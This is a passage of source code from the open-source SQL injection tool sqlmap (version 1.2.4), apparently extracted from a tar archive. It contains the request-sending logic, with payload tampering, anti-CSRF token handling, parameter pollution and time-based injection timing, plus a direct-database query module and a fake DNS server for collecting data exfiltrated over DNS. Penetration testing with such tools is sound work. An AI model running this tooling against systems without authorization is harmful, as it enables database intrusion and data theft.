warnMsg += ". sqlmap is going to retry the request" logger.critical(warnMsg) return Connect._retryProxy(**kwargs) elif kb.testMode: logger.critical(warnMsg) return None, None, None else: raise SqlmapConnectionException(warnMsg) else: debugMsg = "got HTTP error code: %d (%s)" % (code, status) logger.debug(debugMsg) except (urllib2.URLError, socket.error, socket.timeout, httplib.HTTPException, struct.error, binascii.Error, ProxyError, SqlmapCompressionException, WebSocketException, TypeError, ValueError): tbMsg = traceback.format_exc() if checking: return None, None, None elif "no host given" in tbMsg: warnMsg = "invalid URL address used (%s)" % repr(url) raise SqlmapSyntaxException(warnMsg) elif "forcibly closed" in tbMsg or "Connection is already closed" in tbMsg: warnMsg = "connection was forcibly closed by the target URL" elif "timed out" in tbMsg: if not conf.disablePrecon: singleTimeWarnMessage("turning off pre-connect mechanism because of connection time out(s)") conf.disablePrecon = True if kb.testMode and kb.testType not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED): kb.responseTimes.clear() if kb.testMode and kb.testType not in (None, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED): singleTimeWarnMessage("there is a possibility that the target (or WAF/IPS/IDS) is dropping 'suspicious' requests") kb.droppingRequests = True warnMsg = "connection timed out to the target URL" elif "Connection reset" in tbMsg: if not conf.disablePrecon: singleTimeWarnMessage("turning off pre-connect mechanism because of connection reset(s)") conf.disablePrecon = True if kb.testMode: singleTimeWarnMessage("there is a possibility that the target (or WAF/IPS/IDS) is resetting 'suspicious' requests") kb.droppingRequests = True warnMsg = "connection reset to the target URL" elif "URLError" in tbMsg or "error" in tbMsg: warnMsg = "unable to connect to the target URL" match = re.search(r"Errno \d+\] ([^>]+)", tbMsg) if match: warnMsg += " ('%s')" % match.group(1).strip() elif "NTLM" in tbMsg: warnMsg = "there has been a problem with NTLM authentication" elif "Invalid header name" in tbMsg: # (e.g. PostgreSQL ::Text payload) return None, None, None elif "BadStatusLine" in tbMsg: warnMsg = "connection dropped or unknown HTTP " warnMsg += "status code received" if not conf.agent and not conf.randomAgent: warnMsg += ". Try to force the HTTP User-Agent " warnMsg += "header with option '--user-agent' or switch '--random-agent'" elif "IncompleteRead" in tbMsg: warnMsg = "there was an incomplete read error while retrieving data " warnMsg += "from the target URL" elif "Handshake status" in tbMsg: status = re.search(r"Handshake status ([\d]{3})", tbMsg) errMsg = "websocket handshake status %s" % status.group(1) if status else "unknown" raise SqlmapConnectionException(errMsg) elif "SqlmapCompressionException" in tbMsg: warnMsg = "problems with response (de)compression" retrying = True else: warnMsg = "unable to connect to the target URL" if "BadStatusLine" not in tbMsg and any((conf.proxy, conf.tor)): warnMsg += " or proxy" if silent: return None, None, None with kb.locks.connError: kb.connErrorCounter += 1 if kb.connErrorCounter >= MAX_CONSECUTIVE_CONNECTION_ERRORS and kb.connErrorChoice is None: message = "there seems to be a continuous problem with connection to the target. " message += "Are you sure that you want to continue " message += "with further target testing? [y/N] " kb.connErrorChoice = readInput(message, default='N', boolean=True) if kb.connErrorChoice is False: raise SqlmapConnectionException(warnMsg) if "forcibly closed" in tbMsg: logger.critical(warnMsg) return None, None, None elif ignoreTimeout and any(_ in tbMsg for _ in ("timed out", "IncompleteRead")): return None if not conf.ignoreTimeouts else "", None, None elif threadData.retriesCount < conf.retries and not kb.threadException: warnMsg += ". sqlmap is going to retry the request" if not retrying: warnMsg += "(s)" logger.critical(warnMsg) else: logger.debug(warnMsg) return Connect._retryProxy(**kwargs) elif kb.testMode or kb.multiThreadMode: logger.critical(warnMsg) return None, None, None else: raise SqlmapConnectionException(warnMsg) finally: if isinstance(page, basestring) and not isinstance(page, unicode): if HTTP_HEADER.CONTENT_TYPE in (responseHeaders or {}) and not re.search(TEXT_CONTENT_TYPE_REGEX, responseHeaders[HTTP_HEADER.CONTENT_TYPE]): page = unicode(page, errors="ignore") else: page = getUnicode(page) socket.setdefaulttimeout(conf.timeout) processResponse(page, responseHeaders, status) if conn and getattr(conn, "redurl", None): _ = urlparse.urlsplit(conn.redurl) _ = ("%s%s" % (_.path or "/", ("?%s" % _.query) if _.query else "")) requestMsg = re.sub(r"(\n[A-Z]+ ).+?( HTTP/\d)", "\g<1>%s\g<2>" % getUnicode(_).replace("\\", "\\\\"), requestMsg, 1) if kb.resendPostOnRedirect is False: requestMsg = re.sub(r"(\[#\d+\]:\n)POST ", "\g<1>GET ", requestMsg) requestMsg = re.sub(r"(?i)Content-length: \d+\n", "", requestMsg) requestMsg = re.sub(r"(?s)\n\n.+", "\n", requestMsg) responseMsg += "[#%d] (%d %s):\r\n" % (threadData.lastRequestUID, conn.code, status) else: responseMsg += "[#%d] (%d %s):\r\n" % (threadData.lastRequestUID, code, status) if responseHeaders: logHeaders = "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items()]) if not skipLogTraffic: logHTTPTraffic(requestMsg, "%s%s\r\n\r\n%s" % (responseMsg, logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE]), start, time.time()) if conf.verbose <= 5: responseMsg += getUnicode(logHeaders) elif conf.verbose > 5: responseMsg += "%s\r\n\r\n%s" % (logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE]) if not multipart: logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg) return page, responseHeaders, code @staticmethod def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True): """ This method calls a function to get the target URL page content and returns its page ratio (0 <= ratio <= 1) or a boolean value representing False/True match in case of !getRatioValue """ if conf.direct: return direct(value, content) get = None post = None cookie = None ua = None referer = None host = None page = None pageLength = None uri = None code = None if not place: place = kb.injection.place or PLACE.GET if not auxHeaders: auxHeaders = {} raise404 = place != PLACE.URI if raise404 is None else raise404 method = method or conf.method postUrlEncode = kb.postUrlEncode value = agent.adjustLateValues(value) payload = agent.extractPayload(value) threadData = getCurrentThreadData() if conf.httpHeaders: headers = OrderedDict(conf.httpHeaders) contentType = max(headers[_] if _.upper() == HTTP_HEADER.CONTENT_TYPE.upper() else None for _ in headers.keys()) if (kb.postHint or conf.skipUrlEncode) and postUrlEncode: postUrlEncode = False conf.httpHeaders = [_ for _ in conf.httpHeaders if _[1] != contentType] contentType = POST_HINT_CONTENT_TYPES.get(kb.postHint, PLAIN_TEXT_CONTENT_TYPE) conf.httpHeaders.append((HTTP_HEADER.CONTENT_TYPE, contentType)) if payload: if kb.tamperFunctions: for function in kb.tamperFunctions: try: payload = function(payload=payload, headers=auxHeaders) except Exception, ex: errMsg = "error occurred while running tamper " errMsg += "function '%s' ('%s')" % (function.func_name, getSafeExString(ex)) raise SqlmapGenericException(errMsg) if not isinstance(payload, basestring): errMsg = "tamper function '%s' returns " % function.func_name errMsg += "invalid payload type ('%s')" % type(payload) raise SqlmapValueException(errMsg) value = agent.replacePayload(value, payload) logger.log(CUSTOM_LOGGING.PAYLOAD, safecharencode(payload.replace('\\', BOUNDARY_BACKSLASH_MARKER)).replace(BOUNDARY_BACKSLASH_MARKER, '\\')) if place == PLACE.CUSTOM_POST and kb.postHint: if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML): # payloads in SOAP/XML should have chars > and < replaced # with their HTML encoded counterparts payload = payload.replace('>', ">").replace('<', "<") elif kb.postHint == POST_HINT.JSON: if payload.startswith('"') and payload.endswith('"'): payload = json.dumps(payload[1:-1]) else: payload = json.dumps(payload)[1:-1] elif kb.postHint == POST_HINT.JSON_LIKE: payload = payload.replace("'", REPLACEMENT_MARKER).replace('"', "'").replace(REPLACEMENT_MARKER, '"') if payload.startswith('"') and payload.endswith('"'): payload = json.dumps(payload[1:-1]) else: payload = json.dumps(payload)[1:-1] payload = payload.replace("'", REPLACEMENT_MARKER).replace('"', "'").replace(REPLACEMENT_MARKER, '"') value = agent.replacePayload(value, payload) else: # GET, POST, URI and Cookie payload needs to be thoroughly URL encoded if (place in (PLACE.GET, PLACE.URI, PLACE.COOKIE) or place == PLACE.CUSTOM_HEADER and value.split(',')[0] == HTTP_HEADER.COOKIE) and not conf.skipUrlEncode or place in (PLACE.POST, PLACE.CUSTOM_POST) and postUrlEncode: skip = False if place == PLACE.COOKIE or place == PLACE.CUSTOM_HEADER and value.split(',')[0] == HTTP_HEADER.COOKIE: if kb.cookieEncodeChoice is None: msg = "do you want to URL encode cookie values (implementation specific)? %s" % ("[Y/n]" if not conf.url.endswith(".aspx") else "[y/N]") # Reference: https://support.microsoft.com/en-us/kb/313282 kb.cookieEncodeChoice = readInput(msg, default='Y' if not conf.url.endswith(".aspx") else 'N', boolean=True) if not kb.cookieEncodeChoice: skip = True if not skip: if place in (PLACE.POST, PLACE.CUSTOM_POST): # potential problems in other cases (e.g. URL encoding of whole URI - including path) value = urlencode(value, spaceplus=kb.postSpaceToPlus) payload = urlencode(payload, safe='%', spaceplus=kb.postSpaceToPlus) value = agent.replacePayload(value, payload) postUrlEncode = False if conf.hpp: if not any(conf.url.lower().endswith(_.lower()) for _ in (WEB_API.ASP, WEB_API.ASPX)): warnMsg = "HTTP parameter pollution should work only against " warnMsg += "ASP(.NET) targets" singleTimeWarnMessage(warnMsg) if place in (PLACE.GET, PLACE.POST): _ = re.escape(PAYLOAD_DELIMITER) match = re.search(r"(?P<name>\w+)=%s(?P<value>.+?)%s" % (_, _), value) if match: payload = match.group("value") for splitter in (urlencode(' '), ' '): if splitter in payload: prefix, suffix = ("*/", "/*") if splitter == ' ' else (urlencode(_) for _ in ("*/", "/*")) parts = payload.split(splitter) parts[0] = "%s%s" % (parts[0], suffix) parts[-1] = "%s%s=%s%s" % (DEFAULT_GET_POST_DELIMITER, match.group("name"), prefix, parts[-1]) for i in xrange(1, len(parts) - 1): parts[i] = "%s%s=%s%s%s" % (DEFAULT_GET_POST_DELIMITER, match.group("name"), prefix, parts[i], suffix) payload = "".join(parts) for splitter in (urlencode(','), ','): payload = payload.replace(splitter, "%s%s=" % (DEFAULT_GET_POST_DELIMITER, match.group("name"))) value = agent.replacePayload(value, payload) else: warnMsg = "HTTP parameter pollution works only with regular " warnMsg += "GET and POST parameters" singleTimeWarnMessage(warnMsg) if place: value = agent.removePayloadDelimiters(value) if PLACE.GET in conf.parameters: get = conf.parameters[PLACE.GET] if place != PLACE.GET or not value else value elif place == PLACE.GET: # Note: for (e.g.) checkWaf() when there are no GET parameters get = value if PLACE.POST in conf.parameters: post = conf.parameters[PLACE.POST] if place != PLACE.POST or not value else value elif place == PLACE.POST: post = value if PLACE.CUSTOM_POST in conf.parameters: post = conf.parameters[PLACE.CUSTOM_POST].replace(kb.customInjectionMark, "") if place != PLACE.CUSTOM_POST or not value else value post = post.replace(ASTERISK_MARKER, '*') if post else post if PLACE.COOKIE in conf.parameters: cookie = conf.parameters[PLACE.COOKIE] if place != PLACE.COOKIE or not value else value if PLACE.USER_AGENT in conf.parameters: ua = conf.parameters[PLACE.USER_AGENT] if place != PLACE.USER_AGENT or not value else value if PLACE.REFERER in conf.parameters: referer = conf.parameters[PLACE.REFERER] if place != PLACE.REFERER or not value else value if PLACE.HOST in conf.parameters: host = conf.parameters[PLACE.HOST] if place != PLACE.HOST or not value else value if PLACE.URI in conf.parameters: uri = conf.url if place != PLACE.URI or not value else value else: uri = conf.url if value and place == PLACE.CUSTOM_HEADER: if value.split(',')[0].capitalize() == PLACE.COOKIE: cookie = value.split(',', 1)[-1] else: auxHeaders[value.split(',')[0]] = value.split(',', 1)[-1] if conf.csrfToken: def _adjustParameter(paramString, parameter, newValue): retVal = paramString match = re.search(r"%s=[^&]*" % re.escape(parameter), paramString) if match: retVal = re.sub(re.escape(match.group(0)), "%s=%s" % (parameter, newValue), paramString) else: match = re.search(r"(%s[\"']:[\"'])([^\"']+)" % re.escape(parameter), paramString) if match: retVal = re.sub(re.escape(match.group(0)), "%s%s" % (match.group(1), newValue), paramString) return retVal page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, data=conf.data if conf.csrfUrl == conf.url else None, method=conf.method if conf.csrfUrl == conf.url else None, cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST)) token = extractRegexResult(r"(?i)<input[^>]+\bname=[\"']?%s[\"']?[^>]*\bvalue=(?P<result>(\"([^\"]+)|'([^']+)|([^ >]+)))" % re.escape(conf.csrfToken), page or "") if not token: token = extractRegexResult(r"(?i)<input[^>]+\bvalue=(?P<result>(\"([^\"]+)|'([^']+)|([^ >]+)))[^>]+\bname=[\"']?%s[\"']?" % re.escape(conf.csrfToken), page or "") if not token: match = re.search(r"%s[\"']:[\"']([^\"']+)" % re.escape(conf.csrfToken), page or "") token = match.group(1) if match else None if not token: if conf.csrfUrl != conf.url and code == httplib.OK: if headers and "text/plain" in headers.get(HTTP_HEADER.CONTENT_TYPE, ""): token = page if not token and conf.cj and any(_.name == conf.csrfToken for _ in conf.cj): for _ in conf.cj: if _.name == conf.csrfToken: token = _.value if not any(conf.csrfToken in _ for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))): if post: post = "%s%s%s=%s" % (post, conf.paramDel or DEFAULT_GET_POST_DELIMITER, conf.csrfToken, token) elif get: get = "%s%s%s=%s" % (get, conf.paramDel or DEFAULT_GET_POST_DELIMITER, conf.csrfToken, token) else: get = "%s=%s" % (conf.csrfToken, token) break if not token: errMsg = "anti-CSRF token '%s' can't be found at '%s'" % (conf.csrfToken, conf.csrfUrl or conf.url) if not conf.csrfUrl: errMsg += ". You can try to rerun by providing " errMsg += "a valid value for option '--csrf-url'" raise SqlmapTokenException(errMsg) if token: token = token.strip("'\"") for place in (PLACE.GET, PLACE.POST): if place in conf.parameters: if place == PLACE.GET and get: get = _adjustParameter(get, conf.csrfToken, token) elif place == PLACE.POST and post: post = _adjustParameter(post, conf.csrfToken, token) for i in xrange(len(conf.httpHeaders)): if conf.httpHeaders[i][0].lower() == conf.csrfToken.lower(): conf.httpHeaders[i] = (conf.httpHeaders[i][0], token) if conf.rParam: def _randomizeParameter(paramString, randomParameter): retVal = paramString match = re.search(r"(\A|\b)%s=(?P<value>[^&;]+)" % re.escape(randomParameter), paramString) if match: origValue = match.group("value") retVal = re.sub(r"(\A|\b)%s=[^&;]+" % re.escape(randomParameter), "%s=%s" % (randomParameter, randomizeParameterValue(origValue)), paramString) return retVal for randomParameter in conf.rParam: for item in (PLACE.GET, PLACE.POST, PLACE.COOKIE, PLACE.URI, PLACE.CUSTOM_POST): if item in conf.parameters: if item == PLACE.GET and get: get = _randomizeParameter(get, randomParameter) elif item in (PLACE.POST, PLACE.CUSTOM_POST) and post: post = _randomizeParameter(post, randomParameter) elif item == PLACE.COOKIE and cookie: cookie = _randomizeParameter(cookie, randomParameter) elif item == PLACE.URI and uri: uri = _randomizeParameter(uri, randomParameter) if conf.evalCode: delimiter = conf.paramDel or DEFAULT_GET_POST_DELIMITER variables = {"uri": uri, "lastPage": threadData.lastPage, "_locals": locals()} originals = {} keywords = keyword.kwlist if not get and PLACE.URI in conf.parameters: query = urlparse.urlsplit(uri).query or "" else: query = None for item in filter(None, (get, post if not kb.postHint else None, query)): for part in item.split(delimiter): if '=' in part: name, value = part.split('=', 1) name = name.strip() if safeVariableNaming(name) != name: conf.evalCode = re.sub(r"\b%s\b" % re.escape(name), safeVariableNaming(name), conf.evalCode) name = safeVariableNaming(name) elif name in keywords: name = "%s%s" % (name, EVALCODE_KEYWORD_SUFFIX) value = urldecode(value, convall=True, spaceplus=(item == post and kb.postSpaceToPlus)) variables[name] = value if cookie: for part in cookie.split(conf.cookieDel or DEFAULT_COOKIE_DELIMITER): if '=' in part: name, value = part.split('=', 1) name = name.strip() if safeVariableNaming(name) != name: conf.evalCode = re.sub(r"\b%s\b" % re.escape(name), safeVariableNaming(name), conf.evalCode) name = safeVariableNaming(name) elif name in keywords: name = "%s%s" % (name, EVALCODE_KEYWORD_SUFFIX) value = urldecode(value, convall=True) variables[name] = value while True: try: compiler.parse(unicodeencode(conf.evalCode.replace(';', '\n'))) except SyntaxError, ex: if ex.text: original = replacement = ex.text.strip() if '=' in original: name, value = original.split('=', 1) name = name.strip() if safeVariableNaming(name) != name: replacement = re.sub(r"\b%s\b" % re.escape(name), safeVariableNaming(name), replacement) elif name in keywords: replacement = re.sub(r"\b%s\b" % re.escape(name), "%s%s" % (name, EVALCODE_KEYWORD_SUFFIX), replacement) else: for _ in re.findall(r"[A-Za-z_]+", original)[::-1]: if _ in keywords: replacement = replacement.replace(_, "%s%s" % (_, EVALCODE_KEYWORD_SUFFIX)) break if original == replacement: conf.evalCode = conf.evalCode.replace(EVALCODE_KEYWORD_SUFFIX, "") break else: conf.evalCode = conf.evalCode.replace(getUnicode(ex.text.strip(), UNICODE_ENCODING), replacement) else: break else: break originals.update(variables) evaluateCode(conf.evalCode, variables) for variable in variables.keys(): if variable.endswith(EVALCODE_KEYWORD_SUFFIX): value = variables[variable] del variables[variable] variables[variable.replace(EVALCODE_KEYWORD_SUFFIX, "")] = value if unsafeVariableNaming(variable) != variable: value = variables[variable] del variables[variable] variables[unsafeVariableNaming(variable)] = value uri = variables["uri"] for name, value in variables.items(): if name != "__builtins__" and originals.get(name, "") != value: if isinstance(value, (basestring, int)): found = False value = getUnicode(value, UNICODE_ENCODING) if kb.postHint and re.search(r"\b%s\b" % re.escape(name), post or ""): if kb.postHint in (POST_HINT.XML, POST_HINT.SOAP): if re.search(r"<%s\b" % re.escape(name), post): found = True post = re.sub(r"(?s)(<%s\b[^>]*>)(.*?)(</%s)" % (re.escape(name), re.escape(name)), "\g<1>%s\g<3>" % value.replace('\\', r'\\'), post) elif re.search(r"\b%s>" % re.escape(name), post): found = True post = re.sub(r"(?s)(\b%s>)(.*?)(</[^<]*\b%s>)" % (re.escape(name), re.escape(name)), "\g<1>%s\g<3>" % value.replace('\\', r'\\'), post) regex = r"\b(%s)\b([^\w]+)(\w+)" % re.escape(name) if not found and re.search(regex, (post or "")): found = True post = re.sub(regex, "\g<1>\g<2>%s" % value.replace('\\', r'\\'), post) regex = r"((\A|%s)%s=).+?(%s|\Z)" % (re.escape(delimiter), re.escape(name), re.escape(delimiter)) if not found and re.search(regex, (post or "")): found = True post = re.sub(regex, "\g<1>%s\g<3>" % value.replace('\\', r'\\'), post) if re.search(regex, (get or "")): found = True get = re.sub(regex, "\g<1>%s\g<3>" % value.replace('\\', r'\\'), get) if re.search(regex, (query or "")): found = True uri = re.sub(regex.replace(r"\A", r"\?"), "\g<1>%s\g<3>" % value.replace('\\', r'\\'), uri) regex = r"((\A|%s)%s=).+?(%s|\Z)" % (re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER), re.escape(name), re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER)) if re.search(regex, (cookie or "")): found = True cookie = re.sub(regex, "\g<1>%s\g<3>" % value.replace('\\', r'\\'), cookie) if not found: if post is not None: post += "%s%s=%s" % (delimiter, name, value) elif get is not None: get += "%s%s=%s" % (delimiter, name, value) elif cookie is not None: cookie += "%s%s=%s" % (conf.cookieDel or DEFAULT_COOKIE_DELIMITER, name, value) if not conf.skipUrlEncode: get = urlencode(get, limit=True) if post is not None: if place not in (PLACE.POST, PLACE.CUSTOM_POST) and hasattr(post, UNENCODED_ORIGINAL_VALUE): post = getattr(post, UNENCODED_ORIGINAL_VALUE) elif postUrlEncode: post = urlencode(post, spaceplus=kb.postSpaceToPlus) if timeBasedCompare and not conf.disableStats: if len(kb.responseTimes.get(kb.responseTimeMode, [])) < MIN_TIME_RESPONSES: clearConsoleLine() kb.responseTimes.setdefault(kb.responseTimeMode, []) if conf.tor: warnMsg = "it's highly recommended to avoid usage of switch '--tor' for " warnMsg += "time-based injections because of inherent high latency time" singleTimeWarnMessage(warnMsg) warnMsg = "[%s] [WARNING] %stime-based comparison requires " % (time.strftime("%X"), "(case) " if kb.responseTimeMode else "") warnMsg += "larger statistical model, please wait" dataToStdout(warnMsg) while len(kb.responseTimes[kb.responseTimeMode]) < MIN_TIME_RESPONSES: value = kb.responseTimePayload.replace(RANDOM_INTEGER_MARKER, str(randomInt(6))).replace(RANDOM_STRING_MARKER, randomStr()) if kb.responseTimePayload else kb.responseTimePayload Connect.queryPage(value=value, content=True, raise404=False) dataToStdout('.') dataToStdout(" (done)\n") elif not kb.testMode: warnMsg = "it is very important to not stress the network connection " warnMsg += "during usage of time-based payloads to prevent potential " warnMsg += "disruptions " singleTimeWarnMessage(warnMsg) if not kb.laggingChecked: kb.laggingChecked = True deviation = stdev(kb.responseTimes[kb.responseTimeMode]) if deviation > WARN_TIME_STDEV: kb.adjustTimeDelay = ADJUST_TIME_DELAY.DISABLE warnMsg = "considerable lagging has been detected " warnMsg += "in connection response(s). Please use as high " warnMsg += "value for option '--time-sec' as possible (e.g. " warnMsg += "10 or more)" logger.critical(warnMsg) if conf.safeFreq > 0: kb.queryCounter += 1 if kb.queryCounter % conf.safeFreq == 0: if conf.safeUrl: Connect.getPage(url=conf.safeUrl, post=conf.safePost, cookie=cookie, direct=True, silent=True, ua=ua, referer=referer, host=host) elif kb.safeReq: Connect.getPage(url=kb.safeReq.url, post=kb.safeReq.post, method=kb.safeReq.method, auxHeaders=kb.safeReq.headers) start = time.time() if kb.nullConnection and not content and not response and not timeBasedCompare: noteResponseTime = False try: pushValue(kb.pageCompress) kb.pageCompress = False if kb.nullConnection == NULLCONNECTION.HEAD: method = HTTPMETHOD.HEAD elif kb.nullConnection == NULLCONNECTION.RANGE: auxHeaders[HTTP_HEADER.RANGE] = "bytes=-1" _, headers, code = Connect.getPage(url=uri, get=get, post=post, method=method, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, auxHeaders=auxHeaders, raise404=raise404, skipRead=(kb.nullConnection == NULLCONNECTION.SKIP_READ)) if headers: if kb.nullConnection in (NULLCONNECTION.HEAD, NULLCONNECTION.SKIP_READ) and headers.get(HTTP_HEADER.CONTENT_LENGTH): pageLength = int(headers[HTTP_HEADER.CONTENT_LENGTH]) elif kb.nullConnection == NULLCONNECTION.RANGE and headers.get(HTTP_HEADER.CONTENT_RANGE): pageLength = int(headers[HTTP_HEADER.CONTENT_RANGE][headers[HTTP_HEADER.CONTENT_RANGE].find('/') + 1:]) finally: kb.pageCompress = popValue() if not pageLength: try: page, headers, code = Connect.getPage(url=uri, get=get, post=post, method=method, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, auxHeaders=auxHeaders, response=response, raise404=raise404, ignoreTimeout=timeBasedCompare) except MemoryError: page, headers, code = None, None, None warnMsg = "site returned insanely large response" if kb.testMode: warnMsg += " in testing phase. This is a common " warnMsg += "behavior in custom WAF/IPS/IDS solutions" singleTimeWarnMessage(warnMsg) if conf.secondOrder: page, headers, code = Connect.getPage(url=conf.secondOrder, cookie=cookie, ua=ua, silent=silent, auxHeaders=auxHeaders, response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True) threadData.lastQueryDuration = calculateDeltaSeconds(start) threadData.lastPage = page threadData.lastCode = code kb.originalCode = kb.originalCode or code if kb.testMode: kb.testQueryCount += 1 if timeBasedCompare: return wasLastResponseDelayed() elif noteResponseTime: kb.responseTimes.setdefault(kb.responseTimeMode, []) kb.responseTimes[kb.responseTimeMode].append(threadData.lastQueryDuration) if not response and removeReflection: page = removeReflectiveValues(page, payload) kb.maxConnectionsFlag = re.search(MAX_CONNECTIONS_REGEX, page or "", re.I) is not None message = extractRegexResult(PERMISSION_DENIED_REGEX, page or "", re.I) if message: kb.permissionFlag = True singleTimeWarnMessage("potential permission problems detected ('%s')" % message) if content or response: return page, headers, code if getRatioValue: return comparison(page, headers, code, getRatioValue=False, pageLength=pageLength), comparison(page, headers, code, getRatioValue=True, pageLength=pageLength) else: return comparison(page, headers, code, getRatioValue, pageLength) def setHTTPHandlers(): # Cross-referenced function raise NotImplementedError ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/lib/request/direct.py������������������������������������������������������������������0000664�0000000�0000000�00000005477�13260122637�0017114�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import time from extra.safe2bin.safe2bin import safecharencode from lib.core.agent import agent from lib.core.common import Backend from lib.core.common import calculateDeltaSeconds from lib.core.common import extractExpectedValue from lib.core.common import getCurrentThreadData from lib.core.common import getUnicode from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.common import isListLike from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.dicts import SQL_STATEMENTS from lib.core.enums import CUSTOM_LOGGING from lib.core.enums import DBMS from lib.core.enums import EXPECTED from lib.core.enums import TIMEOUT_STATE from lib.core.settings import UNICODE_ENCODING from lib.utils.timeout import timeout def direct(query, content=True): select = True query = agent.payloadDirect(query) query = agent.adjustLateValues(query) threadData = getCurrentThreadData() if Backend.isDbms(DBMS.ORACLE) and query.upper().startswith("SELECT ") and " FROM " not in query.upper(): query = "%s FROM DUAL" % query for sqlTitle, sqlStatements in SQL_STATEMENTS.items(): for sqlStatement in sqlStatements: if query.lower().startswith(sqlStatement) and sqlTitle != "SQL SELECT statement": select = False break if select and not query.upper().startswith("SELECT "): query = "SELECT %s" % query logger.log(CUSTOM_LOGGING.PAYLOAD, query) output = hashDBRetrieve(query, True, True) start = time.time() if not select and "EXEC " not in query.upper(): timeout(func=conf.dbmsConnector.execute, args=(query,), duration=conf.timeout, default=None) elif not (output and "sqlmapoutput" not in query and "sqlmapfile" not in query): output, state = timeout(func=conf.dbmsConnector.select, args=(query,), duration=conf.timeout, default=None) if state == TIMEOUT_STATE.NORMAL: hashDBWrite(query, output, True) elif state == TIMEOUT_STATE.TIMEOUT: conf.dbmsConnector.close() conf.dbmsConnector.connect() elif output: infoMsg = "resumed: %s..." % getUnicode(output, UNICODE_ENCODING)[:20] logger.info(infoMsg) threadData.lastQueryDuration = calculateDeltaSeconds(start) if not output: return output elif content: if output and isListLike(output): if len(output[0]) == 1: output = [_[0] for _ in output] retVal = getUnicode(output, noneToNull=True) return safecharencode(retVal) if kb.safeCharEncode else retVal else: return extractExpectedValue(output, EXPECTED.BOOL) �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/lib/request/dns.py���������������������������������������������������������������������0000664�0000000�0000000�00000012040�13260122637�0016406�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import os import re import socket import threading import time class DNSQuery(object): """ Used for making fake DNS resolution responses based on received raw request Reference(s): http://code.activestate.com/recipes/491264-mini-fake-dns-server/ https://code.google.com/p/marlon-tools/source/browse/tools/dnsproxy/dnsproxy.py """ def __init__(self, raw): self._raw = raw self._query = "" type_ = (ord(raw[2]) >> 3) & 15 # Opcode bits if type_ == 0: # Standard query i = 12 j = ord(raw[i]) while j != 0: self._query += raw[i + 1:i + j + 1] + '.' i = i + j + 1 j = ord(raw[i]) def response(self, resolution): """ Crafts raw DNS resolution response packet """ retVal = "" if self._query: retVal += self._raw[:2] # Transaction ID retVal += "\x85\x80" # Flags (Standard query response, No error) retVal += self._raw[4:6] + self._raw[4:6] + "\x00\x00\x00\x00" # Questions and Answers Counts retVal += self._raw[12:(12 + self._raw[12:].find("\x00") + 5)] # Original Domain Name Query retVal += "\xc0\x0c" # Pointer to domain name retVal += "\x00\x01" # Type A retVal += "\x00\x01" # Class IN retVal += "\x00\x00\x00\x20" # TTL (32 seconds) retVal += "\x00\x04" # Data length retVal += "".join(chr(int(_)) for _ in resolution.split('.')) # 4 bytes of IP return retVal class DNSServer(object): def __init__(self): self._check_localhost() self._requests = [] self._lock = threading.Lock() try: self._socket = socket._orig_socket(socket.AF_INET, socket.SOCK_DGRAM) except AttributeError: self._socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) self._socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self._socket.bind(("", 53)) self._running = False self._initialized = False def _check_localhost(self): response = "" try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.connect(("", 53)) s.send("6509012000010000000000010377777706676f6f676c6503636f6d00000100010000291000000000000000".decode("hex")) # A www.google.com response = s.recv(512) except: pass finally: if response and "google" in response: raise socket.error("another DNS service already running on *:53") def pop(self, prefix=None, suffix=None): """ Returns received DNS resolution request (if any) that has given prefix/suffix combination (e.g. prefix.<query result>.suffix.domain) """ retVal = None with self._lock: for _ in self._requests: if prefix is None and suffix is None or re.search(r"%s\..+\.%s" % (prefix, suffix), _, re.I): retVal = _ self._requests.remove(_) break return retVal def run(self): """ Runs a DNSServer instance as a daemon thread (killed by program exit) """ def _(): try: self._running = True self._initialized = True while True: data, addr = self._socket.recvfrom(1024) _ = DNSQuery(data) self._socket.sendto(_.response("127.0.0.1"), addr) with self._lock: self._requests.append(_._query) except KeyboardInterrupt: raise finally: self._running = False thread = threading.Thread(target=_) thread.daemon = True thread.start() if __name__ == "__main__": server = None try: server = DNSServer() server.run() while not server._initialized: time.sleep(0.1) while server._running: while True: _ = server.pop() if _ is None: break else: print "[i] %s" % _ time.sleep(1) except socket.error, ex: if 'Permission' in str(ex): print "[x] Please run with sudo/Administrator privileges" else: raise except KeyboardInterrupt: os._exit(0) finally: if server: 